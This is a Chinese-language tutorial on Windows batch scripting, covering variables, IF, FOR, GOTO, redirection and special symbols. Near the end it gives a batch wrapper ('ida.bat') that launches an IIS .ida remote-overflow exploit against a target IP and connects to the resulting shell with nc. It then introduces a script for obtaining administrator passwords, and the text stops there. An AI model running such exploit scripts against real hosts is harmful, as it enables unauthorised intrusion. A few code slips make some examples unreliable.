bat

批處理文件類型

批處理文件,在DOS和Windows(任意)系統中,bat文件是可執行文件,由一系列命令構成,其中可以包含對其他程序的調用。這個文件的每一行都是一條DOS命令(大部分時候就好像我們在DOS提示符下執行的命令行一樣),你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具創建和修改批處理文件。

批處理(Batch),也稱為批處理腳本。顧名思義,批處理就是對某對象進行批量的處理,通常被認為是一種簡化的腳本語言,它應用於DOS和Windows系統中。批處理文件的擴展名為bat 或cmd。

目前比較常見的批處理包含兩類:DOS批處理和PS批處理。PS批處理是基於強大的圖片編輯軟體Photoshop的,用來批量處理圖片的腳本;而DOS批處理則是基於DOS命令的,用來自動地批量地執行DOS命令以實現特定操作的腳本。更複雜的情況。需要使用if、for、goto等命令控制程式的運行過程,如同C、Basic等高級語言一樣。如果需要實現更複雜的應用,利用外部程式是必要的,這包括系統本身提供的外部命令和第三方提供的工具或者軟體。批處理程序雖然是在命令行環境中運行,但不僅僅能使用命令行軟體,任何當前系統下可運行的程序都可以放在批處理文件中運行。

簡單程序


批處理是基於cmd的
批處理是基於cmd的
可以通過條件語句(if)和流程式控制制語句(goto)來控制命令運行的流程,在批處理中也可以使用循環語句(for)來 循環執行一條命令。當然,批處理文件的編程能力與C語言等編程語句比起來是十分有限的,也是十分不規範的。批處理的程序語句就是一條條的DOS命令(包括內部命令和外部命令),而批處理的能力主要取決於你所使用的命令。第三,每個編寫好的批處理文件都相當於一個DOS的外部命令 你可以把它所在的目錄放到你的DOS搜索路徑變數%path%(詳見後面)中來使得它可以在任意位置運行。一個良好的習慣是在硬碟上建立一個bat或者batch目錄(例如C:\BATCH),然後將所有你編寫的批處理文件放到該目錄中,這樣只要在path中設置上c:\batch,你就可以在任意位置運行所有你編寫的批處理程序。

DOS和Win9x


C:盤根目錄下的AUTOEXEC.BAT批處理文件是自動運行批處理文件,每次系統啟動時會自動運行該文件,即開機自啟動你可以將系統每次啟動時都要運行的命令放入該文件中,例如設置搜索路徑,調入滑鼠驅動和磁碟緩存,設置系統環境變數等。

作用


簡單的說,批處理的作用就是自動的連續執行多條命令。
這裡先講一個最簡單的應用:在啟動wps軟體時,每次都必須執行(>前面內容表示DOS提示符):
C:\>cd wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都這樣執行一遍,您是不是覺得很麻煩呢?
好了,用批處理,就可以實現將這些麻煩的操作簡單化,首先我們編寫一個runwps.bat批處理文件,內容如下:
@echo off
c:
cd\wps
spdos
py
wbx
wps
cd\
以後,我們每次進入wps,只需要運行runwps這個批處理文件即可。

變數


變數的類型

批處理中的變數基本上是萬能的,可以儲存各種各樣的數據,不過用來計算時你會發現變數類型轉為了int,數值的極端範圍為[-2147483648,2147483647],如果不拿來計算的話,似乎數萬位也是可以的

變數的命名

批處理的變數命名沒有什麼限制..不過建議命名還是遵守標準的命名方法,不然
@Echo Off
Set IF=Set
%IF% lF=Goto
:IF
IF %IF%==IF %lF% IF
像這樣的代碼是很蛋疼的...
正是因為變數的名稱是可以自由調配的:數字 字母 甚至漢字都可以變成變數名。不像VBS一樣。

變數的擴展

擴展,你可以理解為顯示出這個的值,如果你想要使用這個變數的值一般情況下都要擴展
擴展方式:%變數%或!變數!
其中!變數!是延遲擴展,需要加上SetLocal EnableDelayedExpansion語句才能夠實現,延遲擴展對於新手來說是一個很難理解的東西,就這麼說吧,當你的變數在一個語句的內部受到了改變,而在這個改變之後又要輸出,那麼你必須要延遲擴展,這個牽扯到了奇奇怪怪的預處理機制,不詳解了。用連接符號連起來的語句,if,for和它們後面括弧內的內容都是屬於一個語句
例:
@echo off
set num=10
set num=100&echo %num%
echo %num%
echo 雖然已經將num的值更改為100,但由於沒有延遲擴展,所以值仍為10,不過在下一個語句num的值就改變了
pause>nul
例:
@echo off
SetLocal EnableDelayedExpansion
set num=10
set num=100&echo !num!
echo 現在兩個num的值一樣了
echo %num%
pause>nul
變數在擴展過程中還可以做一點手腳
例:
set str=1234567890
echo %str:~0,5%
echo %str:~1,5%
echo %str:~-5%
echo %str:~5,-2%
echo %str:7890=54321%
pause>nul
很神奇吧?這就是對字元串的處理,這個是批處理的特性,叫“變數延遲”

關於參數


參數在批處理的表達是%0,%1,%2....%9 ,以及全部參數%*(不包括%0)
%0的初始量是批處理本身路徑,類似%~f0
一般你只能取前九個參數,除非你使用%*
shift命令允許你獲取後面的參數
格式:shift [/n]
n為1~8的數
shift 會使%0變成%1,%1變成%2……%9變成原來的第10個參數(不推薦)
一般使用shift /1,將會從%1開始替換,保留原%0
注意:call標籤時參數也是可用的,而且當返回時參數將變回原來的
例子:
@echo off
call :標籤 arg1 arg2
echo %1
::會顯示回顯已打開
echo %2
exit
:標籤
echo %1
::這時會顯示arg1
echo %2
::這時會顯示arg2
exit /b

常用命令


ECHO
顯示信息,或將命令回顯打開或關上。
ECHO [ON | OFF]
ECHO [message]
要顯示當前回顯設置,鍵入不帶參數的 ECHO。
echo 命令的第一個用法,echo on和echo off
echo on表示打開回顯,echo off表示關閉回顯,何為回顯?打開回顯就是執行命令時會把命令顯示出來,關閉回顯反之.
echo 命令的第二個用法,echo message,這個很簡單,就是顯示後面的信息
echo 命令第三個用法,顯示當前回顯設置,就是顯示回顯打開或關閉
echo也可以輸出文件。下面再說。
以下的這段代碼可以讓你很好地理解echo的用法(包括如何用echo輸出空行)
echo 這是沒有關閉回顯
echo;
echo
echo off
echo 這是關閉了回顯
echo;
echo
pause
PAUSE
暫停批處理程序,並顯示以下消息:
請按任意鍵繼續. . .
這個命令沒有什麼好說的,要暫停時直接pause就行了
CLS
清除屏幕。
CLS
這個命令也沒有什麼好說的,清屏,自己試一次就知道了
REM
在批處理文件或 CONFIG.SYS 里加上註解或說明。
REM [comment]
這個命令同樣沒什麼好說的,用法就是rem 註釋
PS:其實可以用"::"代替"REM",可以提高執行速度,不過REM的兼容性更好,我還是建議大家用rem註釋
SET
1.給變數賦值(撤銷)
例1:
@echo off
set str=My name is Xiao
echo %str%
rem 批處理中的變數一般需要用%來擴展,詳見特殊符號一節
pause>nul
例2.
@echo off
set str=ABCDEFGHIJKLMN
echo %str%
set str=
echo;%str%
rem 還記得加";"可以實現什麼效果嗎?一個空行,為什麼要這麼做呢?想不出來的話去掉這個";"試試
pause>nul
上面的例子中,一個是給變數賦值,一個是撤銷變數的值
2.等待用戶輸入數據(開關/P)
例:
@echo off
set /p name=請輸入你的姓名:
set /p age=請輸入你的年齡(純數字):
echo 所以,%name%今年%age%歲咯?
pause>nul
3.計算(開關/A)
例1:
@echo off
set /a num=(12*2)+(13*4)
echo (12x2)+(13x4)=%num%
pause>nul
例2:
@echo off
set /p num=請輸入一個數字(不要超過2147483647):
REM 批處理能處理的數字不能超過32位(二進位)
set /a num*=2
echo 這個數字的兩倍是%num%
pause>nul
附:Set /a num*=2與set /a num=num*2等價
() - 分組
! ~ - - 一元運算符
* / % - 算數運算符
+ - - 算數運算符
<< >> - 邏輯移位
- 按位“與”
^ - 按位“異”
| - 按位“或”
= *= /= %= += -= - 賦值
&= ^= |= <<= >>=
, - 表達式分隔符
set /a支持多行表達式並列,比如set /a num1=1+1,num2=1+2,num3=1+3
並且set /a不需要擴展變數,比如set /a num=%num2%+%num3%與set /a num=num2+num3等價
以上內容僅為基礎教程
4.顯示當前已定義變數
例:
@set
@pause>nul
是不是很簡單?其實它還有更高級的用法呢
@set a
@pause>nul
@set s
@pause>nul
你們發現什麼了嗎??它的用法就是這些,不用多說了
IF
1.IF的第一種用法,比較字元串
例:
set /p PW=請輸入密碼:
if %PW%==bat (
echo YES!
) ELSE (
Rem [else] 為可選參數,表示否則,即如果變數PW等於bat則輸出YES!否則輸出NO!
echo NO!
)
pause>nul
通過set /p和if可以實現一個簡單的密碼判斷,當然這個密碼判斷可以很輕易地被破解,仔細動腦筋想一想,該怎麼破解呢.
不過這個密碼判斷尚有不足之處,假如我們什麼都不輸入直接回車,便會提示錯誤,那該怎麼辦呢?很簡單,只要加上雙引號(其它的符號也行)就行了=>if "%PW%"=="bat"
2.IF的第二種用法,比較數字
例:
set /p num1=請第一個輸入數字:
set /p num2=請第二個輸入數字:
if not %num1% LSS %num2% (
rem lss表示小於
rem [not]為可選參數,表示非,即如果變數num1不小於變數num2就輸出第一個數字大,否則輸出第二個數字大
echo 第一個數字大
) ELSE (
echo 第二個數字大
)
pause>nul
這段代碼可以實現一個簡單的判斷,不過尚有不足之處-----如果這兩個數字相等呢,這就要請出我們的else if啦(當然你也可以用幾個if來判斷)
set /p num1=請第一個輸入數字:
set /p num2=請第二個輸入數字:
if "%num1%" gtr "%num2%" (
echo 第一個數字大
) ELSE if "%num1%" EQU "%num2%" (
echo 一樣大
) ELSE (
echo 第二個數字大
)
pause>nul
------比較運算符-----
EQU - 等於
NEQ - 不等於
LSS - 小於
LEQ - 小於或等於
GTR - 大於
GEQ - 大於或等於
3.IF的第三種用法,檢測文件(夾)是否存在
例:
@echo off
if exist C:\windows (
echo 你的C盤有windows文件(夾^)
) else (
echo 你的C盤沒有windows文件(夾^)
)
pause>nul
"^"為轉義符號,在特殊符號一節再作講解
4.IF的第四種用法,檢測變數是否被定義
例:
@echo off
set var=aiwozhonghua
if defined var (
echo 變數var已被定義,它的值為%var%
) else (
echo 變數var沒有被定義
)
pause>nul
去掉第一行的set看看執行結果有什麼不同,你明白它的用法了嗎?
5.IF的第五種用法,判斷返回值(ERRORLEVEL)
要判斷返回值,首先要理解返回值是個什麼概念,批處理中的返回值一般表示了上個命令的執行結果(成功/失敗/等)
每個命令執行完畢后返回值都會做相應的更改,一般返回值為0表示成功,1表示失敗,有一些第三方的返回值比較特殊(如Choice.exe,Tmos.exe,Cmos.exe),在這裡就不講解了
例:
@echo off
echo;>>%systemroot%\test.txt
if errorlevel 0 ( echo 寫入成功! ) else echo 寫入失敗
pause>nul
這段代碼嘗試向%systemroot%\system32\寫入數據,如果許可權不夠或殺毒軟體攔截就會寫入失敗,這時就會顯示"寫入失敗".不知道%systemroot%表示了什麼?單獨鍵入set自己仔細看一下結果.
不過看到後面你會發現這段代碼還有更簡便的寫法
註:用 if errorlevel判斷返回值時要將返回值從大到小排列
例:
@echo off
choice /C:ABC /n "A/B/C"
if errorlevel 3 echo You choose the C
if errorlevel 2 echo You choose the B
if errorlevel 1 echo You choose the A
pause>nul
GOTO
將 cmd.exe 導向到批處理程序中帶標籤的行。
GOTO label
label 指定批處理程序中用作標籤的文字字元串。
標籤必須單獨一行,並且以冒號打頭。
如果命令擴展名被啟用,GOTO 會如下改變:
GOTO 命令現在接受目標標籤 :EOF,這個標籤將控制轉移到當前
批腳本文件的結尾。不定義就退出批腳本文件,這是一個容易的
辦法。有關能使該功能有用的 CALL 命令的擴展名描述,請鍵入
CALL /?。
label是什麼?這可不是命令label,它指的是標籤,標籤是啥?見例子
例:
@echo off
set /p pw=請輸入密碼:
if "%pw%"=="bathome" goto yes
goto :eof
rem 未定義的:eof會退出腳本文件
:yes
echo 密碼正確!
pause>nul
這是一個更加完整的密碼判斷,仔細閱讀並執行這行代碼,現在你知道標籤是什麼了嗎,沒錯,那個:yes就是標籤了!
標籤的格式
:標籤名
關掉回顯以後你有沒有發現什麼?沒錯,標籤所在的那一行沒有被執行,這就是為什麼::比rem更快的原因了,但是標籤不能被使用在一個語句的內部,主要就是被括弧括起來的語句(是的,被括弧括起來的語句被看作一個整體),因此::的兼容性沒有rem那麼好
附:"::"其實就是不規範的標籤名...
FOR
1.FOR
對一組文件中的每一個文件執行某個特定命令。
FOR%variableIN (set) DO command [command-parameters]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters
為特定命令指定參數或命令行開關。
例:
@echo off
for %%i in (*.txt) do echo %%i
pause>nul
這段代碼會顯示當前文件夾下所有的txt文件
@echo off
for %%i in (菜 芽 小 公 公) do echo %%i
pause>nul
這段代碼會顯示
注:%%i為for輸出專用變數格式,其中i可以是a/A/0-z/Z/9和一些符號什麼的(如! # 不過不建議使用),在cmd中只能用一個%
2.FOR /L
FOR /L %variable IN (start,step,end) DO command [command-parameters]
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
例:
@echo off
for /L %%a in (1 2 1000) do echo %%a
pause>nul
這個用法很簡單,沒有什麼要講解的,從這段代碼主要是看出了逗號可以省略。當然還有一些稀奇古怪的用法為了防止新手弄混在這裡就不講解了
3.FOR /R
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 后沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
這個命令同樣有一些看起來很奇怪的用法,為了防止新手迷糊就只講解基礎的
例:
@echo off
for /r C:\Windwos\system32 %%i in (*) do echo %%i
pause>nul
這段代碼枚舉了C:\Windows\system32下所有的文件,包括子文件夾里的
4.FOR /D
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
這個命令的用法和上面差不多,只不過是枚舉目錄名,不詳解了
5.FOR /F
for /f是一個非(喪)常(心)復(病)雜(狂)的命令...
讓我們從它的第一個用法來講:
FOR /F ["options"] %variable IN (file-set) DO command [command-parame
例:
@echo off
echo 1,1 2,1 3,1 4,1>>test.txt
echo A1,2 2,2 3,2 4,2>>test.txt
echo 1,3 2,3 3,3 4,3>>test.txt
echo A1,4 2,4 3,4 4,4>>test.txt
rem 以上代碼在當前文件夾下生成了一個test.txt,打開看看?
For /F %%i In (test.txt) Do Echo %%i
pause>nul
For /F "tokens=2" %%i In (test.txt) Do Echo %%i
pause>nul
For /F "tokens=3" %%i In (test.txt) Do Echo %%i
pause>nul
For /F "tokens=4" %%i In (test.txt) Do Echo %%i
pause>nul
我想執行完這個bat,再分析一下結果和代碼,聰明的你一定了解了tokens的用處
for /f 默認以空格為分隔符,將每一行分割為幾個元素,而tokens就表示取第幾個元素。但假如我們要取的不是一個元素呢?需要全部顯示出來怎麼辦?
tokens=* 表示取所有元素,用%%i輸出
tokens=1,2,3,4或tokens=1-4 然後用%%i或%%i,%%j,%%k,%%l 輸出
其實我們還有其他的方法,比如請出delims參數
例:
@echo off
rem test.txt已經有了,就不生成了
for /f "delims=*" %%i in (test.txt) do echo %%i
pause>nul
delims是個啥玩意兒?其實這就是分割符的設定,默認以空格為分隔符,你可以將分隔符設置成其他的,你的文本就不會被分割了,delims同樣支持多個分隔符,格式delims=第一個分隔符,第二個分隔符,第三個分隔符
啊哈,還有一個skip和eol,skip表示忽略前幾行,比如skip=10表示忽略這個文本的前十行,我這個文本只有4行,如果你加上skip=10的話就什麼都不會輸出了
eol表示忽略以某個符號開頭的行,比如eol=A,當某一行的開頭是A的時候,這一行就不會被處理,不過支持設置一個符號
for /f同也可以處理字元串
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
字元串需要用雙引號引起來,其餘用法一樣,不過這裡就要講到usebackq參數了,for /f是支持處理多個文件的,文件直接用空格隔開(某些符號也可以),假如文件名中含有空格怎麼辦呢?那好像只能用雙引號引起來了,但是用雙引號引起來會被識別成字元串的,這時就要請出usebackq參數了,加上這個參數,帶引號的字元串也會被識別為文件~
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
用for /f來處理命令執行的結果,命令要用單引號引起來
例:
@echo off
for /f "skip=3" %%i in ('tasklist') do echo;%%i
pause>nul
這段代碼就處理了命令ipconfig的執行結果,單獨鍵入tasklist看會出現什麼?
================================================
~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數名
未被定義,或者沒有找到文件,此組合鍵會擴充到
空字元串
組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
===================================================
這些不多說了,自己用for /r命令輸出的時候把%%i改成%%~nxi之類的試一試就理解了
批處理示例
1. IF-EXIST
1)
首先用記事本在C:\建立一個test1.bat批處理文件,文件內容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
然後運行它:
C:\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件,那麼它的內容就會被顯示出來,如果不存在,批處理就會提示你該文件不存在。
2)
接著再建立一個test2.bat文件,內容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist
執行:
C:\>TEST2 AUTOEXEC.BAT
該命令運行結果同上。
說明:
(1) IF EXIST 是用來測試文件是否存在的,格式為
IF EXIST [路徑+文件名] 命令
(2) test2.bat文件中的%1是參數,DOS允許傳遞9個批參數信息給批處理文件,分別為%1~%9(%0表示test2命令本身) ,這有點象編程中的實參和形參的關係,%1是形參,AUTOEXEC.BAT是實參。
3) 更進一步的,建立一個名為TEST3.BAT的文件,內容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果運行:
C:\>TEST3 A B C
屏幕上會顯示:
XIAO
TIAN
XIN
如果運行:
C:\>TEST3 A B
屏幕上會顯示
XIAO
TIAN
在這個命令執行過程中,DOS會將一個空字元串指定給參數%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,內容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗
IF ERRORLEVEL 0 ECHO 成功拷貝文件
然後執行文件:
C:\>TEST4
如果文件拷貝成功,屏幕就會顯示“成功拷貝文件”,否則就會顯示“文件拷貝失敗”。
IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。因此下面的批處理文件是錯誤的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷貝文件
IF ERRORLEVEL 1 ECHO 未找到拷貝文件
IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作
IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操作
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤
無論拷貝是否成功,後面的:
未找到拷貝文件
用戶通過ctrl-c中止拷貝操作
預置錯誤阻止文件拷貝操作
拷貝過程中寫盤錯誤
都將顯示出來。

命令返回值


backup
0 備份成功
1 未找到備份文件
2 文件共享衝突阻止備份完成
3 用戶用ctrl-c中止備份
4 由於致命的錯誤使備份操作中止
diskcomp
0 盤比較相同
1 盤比較不同
2 用戶通過ctrl-c中止比較操作
3 由於致命的錯誤使比較操作中止
4 預置錯誤中止比較
diskcopy
0 盤拷貝操作成功
1 非致命盤讀/寫錯
2 用戶通過ctrl-c結束拷貝操作
3 因致命的處理錯誤使盤拷貝中止
4 預置錯誤阻止拷貝操作
format
0 格式化成功
3 用戶通過ctrl-c中止格式化處理
4 因致命的處理錯誤使格式化中止
5 在提示“proceed with format(y/n)?”下用戶鍵入n結束
xcopy
0 成功拷貝文件
1 未找到拷貝文件
2 用戶通過ctrl-c中止拷貝操作
4 預置錯誤阻止文件拷貝操作
5 拷貝過程中寫盤錯誤

符號


@-隱藏命令
開啟了echo off能夠起到隱藏命令的效果,而@同樣能起到這個效果,只不過需要在每條命令前面都加一個...
&&,||-判斷
還記得用if errorlevel來判斷命令成功與否嗎?&&和||同樣能起到這個效果,&&表示前面的命令成功以後執行後面的命令,||反之
例:
@echo;>>%SystemRoot%\system32\test.txt&&echo 成功!||echo 失敗
@pause>nul
|-管道
將前一個命令執行的結果發送給后一個命令
例:
@echo 你好|find "你"
@tasklist|find "exe"
&-分行符
可以把幾個命令寫在同一行
例:
@echo 123&@echo 456
pause>nul
^-分行與轉義符
1.分行
可以把一個命令寫成多行哦
例:
@echo 1^
2^
3^
4
@pause>nul
複製上面的命令,執行結果是什麼?這就是分行符的作用
2.轉義
當我們試圖輸出一個&的時候,我們會發現輸出不了...因為它被當成分行符處理了
這時就要請出轉義符^了,它可以剝奪後面第一個符號的特殊地位,變為普通符號(這其實是一個很神奇的功能,之所以神奇...贅不詳述)
例:
@echo ^&
@pause>nul
這樣就輸出了&
另外,當存在a變數(前面set /p a=或set a=給a賦值了)想要輸出%a%,一是可以用轉義符^,還可以:
echo %%a%%
這樣既可將兩個百分號識別為一個,起到了轉義的作用
還有些特殊情況不需要轉義:
echo "0000|000"
用引號括起來可以起到一定的轉義的作用,包括set "a=a的值"等
但特別特殊的情況比如獲取%1時存在轉義符很難處理,沒辦法正常引用
啥叫通配符?舉個例子吧,*.jpg表示所有的jpg,*表示所有文件。現在你明白了嗎? 那"?"有什麼用,*可以為任意字元,但?只表示一個字元,比如?.jpg只表示文件名只有一個的jpg文件,比如1.jpg,比.jpg什麼
()-括起來
括起來的語句是一個整體
>,>>,<-重定向
在這裡請注意: 在重定向符號 ">" 以及 ">>" 前必須添加空格以防萬一,因為Batch具有不唯一性所以在很多時候不加空格也能正常使用。但是日常使用中必須添加空格否則失敗的幾率很大,要麼是無法創建/輸出,要麼文件是空的。
請不要使用不添加空格的不正確用法!
echo 123 >>one.txt
可以輸出123追加到one.txt中
echo 123 >one.txt
可以輸出123覆蓋one.txt中原先的內容
nul是一個系統保留字,所以>nul不會輸出到任何文件,可以起到隱藏命令執行結果的效果
2 >nul可以起到隱藏命令失敗執行結果的效果
<可以從文件中讀取數據到某個命令中,不過這個命令得等待用戶輸入
例:
@echo off
echo 123 >>00.txt
set /p num=<00.txt
echo 數字是%num%
pause>nul
有些命令不止需要一個>nul,如要連接,需要:>nul 2>nul以此類推
如果前面有數字,需要添加空格
ping >nul 2>nul
=1>nul 2>nul ping
=ping >nul 2>&1.... X>&2 X>&2 X>&3等
nul指空設備,簡單來說就是隱藏輸出。
2>&1 3>&2 可以一直接下去,&1 &2就是引用第一個、第二個等

文件技巧


文章結構

1. 所有內置命令的幫助信息
2.環境變數的概念
3. 內置的特殊符號(實際使用中間注意避開)
4. 簡單批處理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
###########################

命令幫助

###########################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
下面將所有上面的幫助輸出到一個文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt

環境變數

C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
path: 表示可執行程序的搜索路徑. 我的建議是你把你的程序copy 到
%windir%\system32\. 這個目錄裡面. 一般就可以自動搜索到.
語法: copy mychenxu.exe %windir%\system32\.
使用點(.) 便於一目瞭然
對環境變數的引用使用(英文模式,半形)雙引號
%windir%變數
%%windir%% 二次變數引用.
我們常用的還有
%temp% 臨時文件目錄
%windir% 系統目錄
%errorlevel% 退出代碼
輸出文件到臨時文件目錄裡面。這樣便於當前目錄整潔.
對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file文件夾操作
C:\>dir p*
C:\ 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 Program Files
1 個文件 2,164位元組
1 個目錄 1,505,997,824 可用位元組
C:\>cd pro*
C:\Program Files>
C:\>
C:\>cd "Program Files"
C:\Program Files>

特殊符號

微軟裡面內置了下列字元不能夠在創建的文件名中間使用
con nul aux \ / | || && ^ > < *
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要麼你使用^作為前導字元表示。或者就只有使用雙引號""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 創建一個文件
>> 追加到一個文件後面
@ 前綴字元。表示執行時本行在cmd裡面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( > < &)的前導字元. 第一個只是顯示aaa 第二個輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的預設分隔符號.
; 註釋,表示後面為註釋
: 標號作用
|管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執行出錯的命令后將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
當碰到執行正確的命令后將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;
常用語法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行註釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。

處理文件

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個echo是追加
第三個echo將清空a.txt 重新創建 a.txt
netstat -n | find "3389"
這個將要列出所有連接3389的用戶的ip.
________________test.bat______
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示註釋語句,本行顯示
@rem 不顯示註釋語句,本行不顯示
@if exist %windir%\system32\find.exe(echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_____________________________
下面我們以具體的一個idahack程序就是ida遠程溢出為例子。應該是很簡單的.
___________________ida.bat_____
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.batIP
@echo Example: ida.batIP (2,3)
:END
_____________________ida.bat__END_______
下面我們再來第二個文件。就是得到administrator的口令.
大多數人說得不到。其實是自己的沒有輸入正確的信息.
___________________________fpass.bat____________________________________________
